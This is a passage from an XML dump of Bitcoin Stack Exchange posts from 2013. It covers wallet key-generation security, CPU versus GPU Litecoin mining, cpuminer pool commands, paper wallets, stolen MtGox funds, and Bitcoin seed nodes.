fine, because timing jitter in your key presses, mouse motion, etc., is typically used to harvest strongly random numbers. A well-written downloadable client should have access to such facilities via your operating system and, typically, the SSL libraries---and yet, in practice, a lot of weak implementations have been found, including &lt;a href=&quot;https://www.schneier.com/blog/archives/2008/05/random_number_b.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;in a mainstream Linux distribution&lt;/a&gt; years back and, recently, in the Android operating system, actually affecting Bitcoin key generation. See &lt;a href=&quot;http://www.theguardian.com/technology/2013/aug/15/google-android-bitcoin-securerandom-vulnerability&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Guardian's article about Google confirming the problem&lt;/a&gt;. Any javascript implementation, like bitaddress.org, may be both worse and better off by having less direct access to such random number facilities.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Execution environment&lt;/p&gt;&#xA;&lt;p&gt;Could any malware you might unwittingly have on your computer interfere, either spying on your keys or by weakening the keys your generate? For the downloadable client, we are essentially talking about vulnerabilities of your OS (plus your usage of your computer). For the javascript-based bitaddress.org, some vulnerabilities of your web browser that &amp;quot;only&amp;quot; allow interfering with something inside the browser might pose additional risk.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Opportunity and effort vs. reward trade-off for an adversary&lt;/p&gt;&#xA;&lt;p&gt;Sometimes it is more dangerous to go the same route as everybody else by presenting, collectively, a larger incentive to exploit this route. Sometimes it could be more dangerous to do the opposite and possibly ending up using a solution that has received less public scrutiny and might, without one's knowledge, contain critical vulnerabilities.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-11-28T18:35:23.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17383" PostTypeId="1" AcceptedAnswerId="17398" CreationDate="2013-11-27T13:07:03.553" Score="8" ViewCount="30673" Body="&lt;p&gt;I heard in some forums that mining Litecoin is better using a good CPU (Processor), different from Bitcoin that's better mine using a good GPU (Videoboard). &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I want know, this is true? For litecoin, is better buy some good processor like i7 instead a good GPU? &lt;strong&gt;Litecoin really is better mined using CPU's?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9450" LastEditorUserId="5406" LastEditDate="2016-02-12T16:03:21.623" LastActivityDate="2016-02-12T16:03:21.623" Title="Litecoin - Is better use a good CPU or good GPU?" Tags="|scrypt|mining-hardware|cpu-mining|gpu-mining|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17384" PostTypeId="2" ParentId="17374" CreationDate="2013-11-27T13:27:13.623" Score="1" Body="&lt;p&gt;My first instinct is to answer &quot;No&quot;. As long as an application is installed locally and cannot send information over the internet to a third party, it's pretty much as secure as can be. There's no good reason to think that either would be more secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a &lt;em&gt;slightly bad&lt;/em&gt; one... (maybe not bad, but possibly a bit paranoid)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this: even if a program is open source, it's compiled, which means it not feasible to see the actual code and what it's doing. The software could be sending data when &lt;em&gt;says&lt;/em&gt; it's not. Or it could be saving data in a hidden part of your operating system to be retrieved later by another malicious program. It could be doing a number of things that it shouldn't be and it would be very difficult for the end user to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A locally installed website, on the other hand, contains uncompiled code which is, at least somewhat, human readable. So, if you really wanted to, you could make sure that a locally installed website such as bitaddress.org isn't doing anything that it shouldn't. Although, this is infeisable for most, I once spent a while looking at brainwallet.org's source code to at least get a partial understand of how it works.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-11-27T13:27:13.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17385" PostTypeId="2" ParentId="13884" CreationDate="2013-11-27T13:27:40.997" Score="0" Body="&lt;p&gt;As mentioned before, the loss in hashes means that bitcoins can't be mined efficiently on the same hardware as litecoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using &lt;a href=&quot;https://cex.io/r/1/demwunz/0/&quot; rel=&quot;nofollow&quot;&gt;http://cex.io/&lt;/a&gt; which mines a number of other coins at the same time, such as namecoin and devcoin. It's backbone is ghash.io, which is the largest mining pool out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how much gigahashes you buy, you could see a return pretty quick. I pondered investing in hardware, but it seems somewhat expensive now.&lt;/p&gt;&#xA;" OwnerUserId="9453" LastActivityDate="2013-11-27T13:27:40.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17386" PostTypeId="1" AcceptedAnswerId="17389" CreationDate="2013-11-27T14:05:09.100" Score="1" ViewCount="1976" Body="&lt;p&gt;Not the same wallet on different locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that I am about to buy some bitcoins for cash and in order to transfer the bitcoins he will bring with him a paper wallet containing the bitcoin public and private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He has told me to scan these into my blockchain.info app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wondered if this a safe way to transfer bitcoins since he will have access to the private and public keys and could double spend the bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="9456" LastActivityDate="2013-11-27T14:38:15.063" Title="Can you have same Bitcoin Address in 2 different wallets?" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17387" PostTypeId="1" CreationDate="2013-11-27T14:05:16.547" Score="0" ViewCount="7408" Body="&lt;p&gt;If i'm buying BTC in person from someone and he sends it to my btc-e hosted wallet, how much time does it usually take to appear in the account balance? Is it like any regular transfer or are they doing some extra confirmations? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9455" LastActivityDate="2014-04-02T15:10:36.683" Title="How much time does it take to transfer BTC into btc-e hosted wallet?" Tags="|transactions|wallet|btce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17389" PostTypeId="2" ParentId="17386" CreationDate="2013-11-27T14:38:15.063" Score="0" Body="&lt;p&gt;Anyone with access to the private key can spend any bitcoins belonging to the public key address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get the key from him, you should have blockchain &quot;sweep&quot; the balance at that address into a new address that only you have the key for.&lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-11-27T14:38:15.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17390" PostTypeId="1" CreationDate="2013-11-27T14:55:15.757" Score="0" ViewCount="369" Body="&lt;p&gt;I have mtgox account, and once I changed my android software i forgot to link another google authenticator, so to access mtgox I had to unlink it of OTP.That wwas two weeks ago&#xA;Last week, i still didn't linked new OTP, and I had my BTC funds stolen and widthdrawed to another account. I know that transactions canot be undone by can I do anything to find where are my BTCs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="132" LastEditDate="2013-11-28T13:45:40.043" LastActivityDate="2013-11-28T13:58:42.983" Title="What can I do to track stolen funds?" Tags="|mtgox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17392" PostTypeId="2" ParentId="17383" CreationDate="2013-11-27T16:48:14.453" Score="2" Body="&lt;p&gt;No. A GPU will almost certainly always be faster than a CPU for Litecoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Litecoin Mining Hardware Comparison chart&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-27T16:48:14.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17395" PostTypeId="1" CreationDate="2013-11-27T17:51:09.073" Score="-1" ViewCount="262" Body="&lt;p&gt;I would like to buy bitcoins and I'm curious where I can find people who would want to sell me bitcoins through ripple platform.&lt;/p&gt;&#xA;" OwnerUserId="9469" LastEditorUserId="2995" LastEditDate="2013-11-28T00:13:42.967" LastActivityDate="2013-11-28T00:13:42.967" Title="How can I find people interested in selling BTC through Ripple?" Tags="|ripple|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-28T13:59:55.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="17396" PostTypeId="1" AcceptedAnswerId="18411" CreationDate="2013-11-27T18:34:18.820" Score="12" ViewCount="22632" Body="&lt;p&gt;I have pretty much no idea what I'm doing. But I've had &lt;code&gt;cpuminer&lt;/code&gt; running on my laptop for a half hour or so, just playing around. I &lt;em&gt;know&lt;/em&gt; it's not near worth the time or electricity, I'm just having some fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Slush's pool, and ran the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./minerd --url http://api.bitcoin.cz:8332 --user &amp;lt;me&amp;gt; --pass &amp;lt;pass&amp;gt; --threads 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I seem to be generating normal output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-11-27 13:28:05] thread 7: 291732 hashes, 5.18 khash/s&#xA;[2013-11-27 13:28:05] accepted: 0/151 (0.00%), 41.48 khash/s (booooo)&#xA;[2013-11-27 13:28:08] Stratum detected new block&#xA;[2013-11-27 13:28:08] thread 3: 183216 hashes, 5.18 khash/s&#xA;[2013-11-27 13:28:08] thread 7: 17988 hashes, 5.28 khash/s&#xA;[2013-11-27 13:28:08] thread 1: 38664 hashes, 5.26 khash/s&#xA;[2013-11-27 13:28:08] thread 6: 151224 hashes, 5.16 khash/s&#xA;[2013-11-27 13:28:08] thread 4: 161664 hashes, 5.18 khash/s&#xA;[2013-11-27 13:28:08] thread 2: 79848 hashes, 5.16 khash/s&#xA;[2013-11-27 13:28:08] thread 5: 60576 hashes, 5.21 khash/s&#xA;[2013-11-27 13:28:08] thread 0: 164808 hashes, 5.17 khash/s&#xA;[2013-11-27 13:28:09] thread 3: 5484 hashes, 5.33 khash/s&#xA;[2013-11-27 13:28:10] accepted: 0/152 (0.00%), 41.74 khash/s (booooo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know how long it normally takes for my account to begin displaying any kind of progress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5sZvW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CPU usage is pegged at around 750%, which makes sense - but I'm not sure how I'll know if/when they're contributing to anything.&lt;/p&gt;&#xA;" OwnerUserId="9471" LastEditorUserId="5406" LastEditDate="2016-02-12T16:02:21.523" LastActivityDate="2016-02-12T16:02:21.523" Title="Is this thing on? (How to tell if my cpuminer is working?)" Tags="|mac|cpu-mining|mining-software|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17397" PostTypeId="2" ParentId="17396" CreationDate="2013-11-27T19:19:41.500" Score="-1" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Looks like you're using minerd (which to my understanding doesn't have stratum support.)  Slush's pool requires it &lt;a href=&quot;https://mining.bitcoin.cz/faq/&quot; rel=&quot;nofollow&quot;&gt;(the FAQ seems to mention this briefly)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestion: Try using one of the miners listed in the FAQ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old post: It looks like new blocks are being generated faster than your machine can complete a single unit of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/&quot; rel=&quot;nofollow&quot;&gt;Perhaps you could provide us with a more complete log file?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2330" LastEditorUserId="2330" LastEditDate="2013-11-27T19:52:02.767" LastActivityDate="2013-11-27T19:52:02.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17398" PostTypeId="2" ParentId="17383" CreationDate="2013-11-27T19:36:59.697" Score="11" Body="&lt;p&gt;Any CPU can still be used to mine Litecoin, although much less effectively as a modern AMD GPU could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining with a CPU gives you very bad hashrate therefore I wouldn't recommend it.&#xA;Even a high end CPU will not give you the hashrate of a mid range GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use a graphics card (GPU) to mine litecoins or switch to another coin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Information: If you decide to buy a GPU specifically for mining go for an ATI GPU as its much more effective than its nVidia counterpart.&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-11-27T19:36:59.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17399" PostTypeId="2" ParentId="12163" CreationDate="2013-11-27T19:42:00.123" Score="0" Body="&lt;p&gt;Most online wallets are scammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tried one of them, and they stole my LTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much better to use your own Smart Phone or PC as a wallet.&lt;/p&gt;&#xA;" OwnerUserId="9477" LastEditorUserId="-1" LastEditDate="2017-04-14T20:40:37.257" LastActivityDate="2017-04-14T20:40:37.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17400" PostTypeId="1" CreationDate="2013-11-27T20:01:20.913" Score="1" ViewCount="369" Body="&lt;p&gt;Every certain number of blocks the reward is cut in half, for example from 50 to 25 BTC.  Will this halving continue indefinitely, so the reward never gets to zero?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2014-12-09T15:00:24.613" LastActivityDate="2014-12-09T15:00:24.613" Title="Does halving ever end?" Tags="|reward-schedule|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-28T09:56:04.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="17401" PostTypeId="2" ParentId="17400" CreationDate="2013-11-27T21:36:19.357" Score="-2" Body="&lt;p&gt;It will, one day, reach 0, which mean mining wont be possible anymore (or it wont just be worth it). and by 0, I mean it could be 0.000001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you look at it in a mathematical way, it should never end. Try that with a calculator, the number becomes really small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network is made so there will be a limited number of coins available and they have to be generated at a predictable rate, thats also why there is a difficulty on the mining&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2013-11-27T21:36:19.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17402" PostTypeId="2" ParentId="17390" CreationDate="2013-11-27T21:44:59.283" Score="1" Body="&lt;p&gt;If you are not able to know the exact date and the address that was used to take the BTC from your MtGox account, I dont think there are any way to know where they went.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even if you could find where they are (or where you think they are) there are no way to take them back.&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2013-11-27T21:44:59.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17403" PostTypeId="2" ParentId="17348" CreationDate="2013-11-27T21:54:06.397" Score="0" Body="&lt;p&gt;It depends on your mining rate. If you think that you have a hight enough mining rate you could create your own pool. And by a high enough mining rate, I am talking about something like 200 Thash/s so you can get Bitcoins fast enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have, lets say, a mining rate of 1 Ghash/s, it will take your months, even years to mine a complete block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are alone and do not have a high mining rate, you should join a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool does not exactly allow you to create a pool, its more like a normal pool than anything else. But I havent tried it so you should still take a look at it. What looks the closest to a real pool (that is in fact not a pool that you will create) is TripleMining. They work with a refference system, which mean that you have to give your personnal link for someone to join your pool. You will get 1% of their profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside to TripleMining is that their mining rate is low, it takes them around 200 hours to mine a single block. You will get a lot per blocks, but it will take a lot of time to get your Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Someone made me notice that you are talking about Litecoins. The mining work the same way as Bitcoins, just the way calculations are done is different.&lt;/p&gt;&#xA;" OwnerUserId="5874" LastEditorUserId="5874" LastEditDate="2013-11-28T01:25:43.997" LastActivityDate="2013-11-28T01:25:43.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17404" PostTypeId="2" ParentId="12380" CreationDate="2013-11-27T21:55:51.517" Score="3" Body="&lt;p&gt;If you rely on bitcoind and JSON-RPC API you could try launching daemon with -walletnotify option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -daemon -waletnotify=&quot;process-txn.sh %s&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will call &lt;code&gt;process-txn.sh&lt;/code&gt; with transaction id on the input. Then you can query the daemon for transaction details.&lt;/p&gt;&#xA;" OwnerUserId="7104" LastActivityDate="2013-11-27T21:55:51.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17405" PostTypeId="2" ParentId="17396" CreationDate="2013-11-27T22:36:28.007" Score="3" Body="&lt;p&gt;try using &lt;code&gt;stratum+tcp://&lt;/code&gt; instead of &lt;code&gt;http://&lt;/code&gt; protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./minerd  --algo scrypt --scantime 33  --url stratum+tcp://[server]:[port] --userpass [username]:[password] --threads 1 --retries -1 -P&lt;/code&gt; works pretty well for me right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;minerd is from &lt;a href=&quot;http://optimate.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz&quot; rel=&quot;nofollow&quot;&gt;http://optimate.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9486" LastActivityDate="2013-11-27T22:36:28.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17406" PostTypeId="2" ParentId="16925" CreationDate="2013-11-27T22:51:40.360" Score="0" Body="&lt;p&gt;Only the private keys are encrypted, so the only time you need to enter a password is when you are generating new transactions, and I believe you have to enter the password to create new addresses as well. &lt;/p&gt;&#xA;" OwnerUserId="9488" LastActivityDate="2013-11-27T22:51:40.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17407" PostTypeId="2" ParentId="17381" CreationDate="2013-11-27T22:53:24.540" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://support.mtgox.com/entries/21649594-Withdrawals-and-Deposits&quot; rel=&quot;nofollow&quot;&gt;mtgox support desk&lt;/a&gt;: &quot;Situation as of 24-Nov-2013: We are currently processing withdrawals requested 5 weeks ago.&quot; so it seems that you may get your money at the middle of december.&lt;/p&gt;&#xA;" OwnerUserId="9486" LastActivityDate="2013-11-27T22:53:24.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17408" PostTypeId="1" CreationDate="2013-11-27T23:06:24.940" Score="0" ViewCount="769" Body="&lt;p&gt;We often hear both CPU and GPU mining are dead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a number of new currencies designed specifically for CPU or GPU mining. Which are these? Can you mine them effectively with GPU?&lt;/p&gt;&#xA;" OwnerUserId="2506" LastEditorUserId="5406" LastEditDate="2016-02-12T16:00:49.977" LastActivityDate="2018-01-19T02:26:47.380" Title="Which crypto-currencies can be mined effectively with GPU" Tags="|altcoin|alternatives|gpu-mining|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17409" PostTypeId="2" ParentId="17395" CreationDate="2013-11-27T23:08:08.893" Score="1" Body="&lt;p&gt;Right now, the most active USD/BTC order book on Ripple is for Bitstamp USD to Bitstamp BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a contact to your wallet called &lt;code&gt;Bitstamp&lt;/code&gt;, account &lt;code&gt;rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B&lt;/code&gt;. (You should &lt;a href=&quot;https://bitstamp.net/ripple.txt&quot; rel=&quot;nofollow&quot;&gt;double check this&lt;/a&gt;, someone could edit this answer to try to steal your money.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, on the trade page, select &lt;code&gt;BTC/USD&lt;/code&gt;. Just to the right of that, for both issuers, enter &lt;code&gt;Bitstamp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-27T23:08:08.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17410" PostTypeId="2" ParentId="14371" CreationDate="2013-11-28T00:01:59.920" Score="26" Body="&lt;p&gt;As you correctly identified, there are two types of seed nodes, i.e. DNS seeds and seed nodes. DNS seeds are stored in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L121&quot; rel=&quot;noreferrer&quot;&gt;chainparams.cpp&lt;/a&gt;. As of today (September 2021) the following nodes are listed in this file.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;seed.bitcoin.sipa.be&lt;/li&gt;&#xA;&lt;li&gt;dnsseed.bluematt.me&lt;/li&gt;&#xA;&lt;li&gt;dnsseed.bitcoin.dashjr.org&lt;/li&gt;&#xA;&lt;li&gt;seed.bitcoinstats.com&lt;/li&gt;&#xA;&lt;li&gt;seed.bitcoin.jonasschnelli.ch&lt;/li&gt;&#xA;&lt;li&gt;seed.btc.petertodd.org&lt;/li&gt;&#xA;&lt;li&gt;seed.bitcoin.sprovoost.nl&lt;/li&gt;&#xA;&lt;li&gt;dnsseed.emzy.de&lt;/li&gt;&#xA;&lt;li&gt;seed.bitcoin.wiz.biz&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I performed nslookups on these DNS names and they return a list of IP addresses that all seemed to be running bitcoin nodes.&lt;/p&gt;&#xA;&lt;p&gt;There is also the concept of seed nodes which are hardcoded IP addresses in the event that someone is experiencing a DNS failure or other issue.  These nodes are only contacted if no other discovery mechanism works.&lt;/p&gt;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/a8fdfea77b0cdfcbc406558435968c1b801a5fdd/src/init.cpp#L447&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;-seednode&lt;/code&gt;&lt;/a&gt; option to connect to a node (IP address) to retrieve peer addresses, then disconnect.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorDisplayName="user103136" LastEditDate="2021-09-06T19:53:35.047" LastActivityDate="2021-09-06T19:53:35.047" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17411" PostTypeId="1" AcceptedAnswerId="17822" CreationDate="2013-11-28T00:55:51.117" Score="12" ViewCount="449" Body="&lt;p&gt;I'd be interested to see some examples of &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot;&gt;Bitcoin contracts&lt;/a&gt; used right now.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Websites that provide escrow services.&lt;/li&gt;&#xA;&lt;li&gt;Smart properties.&lt;/li&gt;&#xA;&lt;li&gt;Trading of contracts.&lt;/li&gt;&#xA;&lt;li&gt;Oracles.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or are they not really in use right now?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2013-12-03T20:48:33.937" Title="Where are contracts used in the real world" Tags="|contracts|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17412" PostTypeId="1" CreationDate="2013-11-28T00:59:16.147" Score="0" ViewCount="1496" Body="&lt;p&gt;Is it possible to move the Blockchain data from Windows to Mac? The wallet on windows is synced, the one on mac is not. The wallet on Mac has had some bitcoins sent to one of its addresses. Would it be safe to copy the blocks and chainstate folder to the mac from windows without losing the bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="9497" LastEditorUserId="5406" LastEditDate="2013-11-29T22:44:10.183" LastActivityDate="2017-10-17T03:17:13.853" Title="Move bitcoin data from Windows to Mac" Tags="|bitcoin-core|mac|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17413" PostTypeId="1" AcceptedAnswerId="18235" CreationDate="2013-11-28T01:02:15.780" Score="1" ViewCount="604" Body="&lt;p&gt;Clearly a lot of BTC are being hoarded by either early adopters, or small scale speculators like myself, holding out to see what it's value is in 10 or so years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What percentage of bitcoins are actually changing hands of a regular basis?&lt;/p&gt;&#xA;" OwnerUserId="6284" LastEditorUserId="132" LastEditDate="2013-11-28T13:42:15.373" LastActivityDate="2013-12-07T16:31:33.690" Title="What percentage of bitcoins are being traded/used on a regular basis?" Tags="|trade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17414" PostTypeId="2" ParentId="286" CreationDate="2013-11-28T01:58:23.667" Score="1" Body="&lt;p&gt;I tried out &lt;a href=&quot;http://bit.ly/1c9zR8o&quot; rel=&quot;nofollow&quot;&gt;bitcoinget.com&lt;/a&gt;. I've been paying visit to them regularly for 3 days, and I have been paid everyday (around 10PM EST). One of those days I have earned $6 worth of bitcoins(0.0056 BTC) in few hours. $6 might not sound like a lot, but considering many websites pretty much refuse to pay you your earning until certain threshold, them actually paying over a $1 worth of payment daily is a huge plus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of Microworking for bitcoins, I think bitcoinget.com offers easiest tasks(not some bs tasks that makes you run around jumping hoops) for quite a bit of payment for single tasks. (16-24 uBTC for 20sec tasks, sometimes I've seen--still seeing--tasks that are super easy but pays around 90-120 uBTC per task.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in Microworking for straightforward USD, and has very low payout,&#xA;Try out Amazon Mechanical Turk. Minimum payout is $1, and it is owned by amazon. It really pays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've wrote a income report from both bitcoinget.com and Amazon Mturk on my blog, &lt;a href=&quot;http://jinslist.net/microworking-and-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;you can checkout payment proofs here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9500" LastActivityDate="2013-11-28T01:58:23.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17417" PostTypeId="1" AcceptedAnswerId="17419" CreationDate="2013-11-28T02:54:31.760" Score="1" ViewCount="4706" Body="&lt;p&gt;If I want to make a bitcoin transaction I need to wait 3-6 confirmations for my transaction to be accepted (by say an exchange etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run a miner so that it is listening out for transaction on my address, to have my transaction confirmed sooner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or at least have the first confirmation confirmed sooner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Plus would I be able to recoup some of the transaction fees?)&lt;/p&gt;&#xA;" OwnerUserId="7052" LastActivityDate="2018-03-28T13:54:06.307" Title="Is it possible to run a miner to confirm transactions for a target address?" Tags="|transactions|transaction-fees|confirmations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17419" PostTypeId="2" ParentId="17417" CreationDate="2013-11-28T03:30:07.920" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to speed up the first confirmation is for you to (not guaranteed, but generally works) pay a higher transaction fee or for you to own a significant amount of the hashing/mining power and implement rules so that your mining farm always includes your transactions.  Keep in mind that even if you owned 100% of the hashing power (of which you always prioritised your own transactions), the best you could ever get is your transaction in the next block which will take 0 to 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that once your transaction is included in a block, it's generally 10 minutes per confirmation after that (unless the block chain forks and your transaction needs to be re-included in the new chain), so it would take from 50-60 minutes for 6 confirmations anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, If I pay a transaction fee of 0.0003BTC (30 cents!) my transaction is normally included in the next block.  A fee of 0.0001 can take hours.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastEditorUserId="9505" LastEditDate="2013-11-28T22:50:49.583" LastActivityDate="2013-11-28T22:50:49.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17420" PostTypeId="2" ParentId="17408" CreationDate="2013-11-28T04:01:48.403" Score="2" Body="&lt;p&gt;You can look at &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;litecoin&lt;/a&gt;. It is still feasible to mine it with CPU and GPU, because it is really hard to implement the algorithm in ASICs. And the price of litecoin is not bad.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-11-28T04:01:48.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
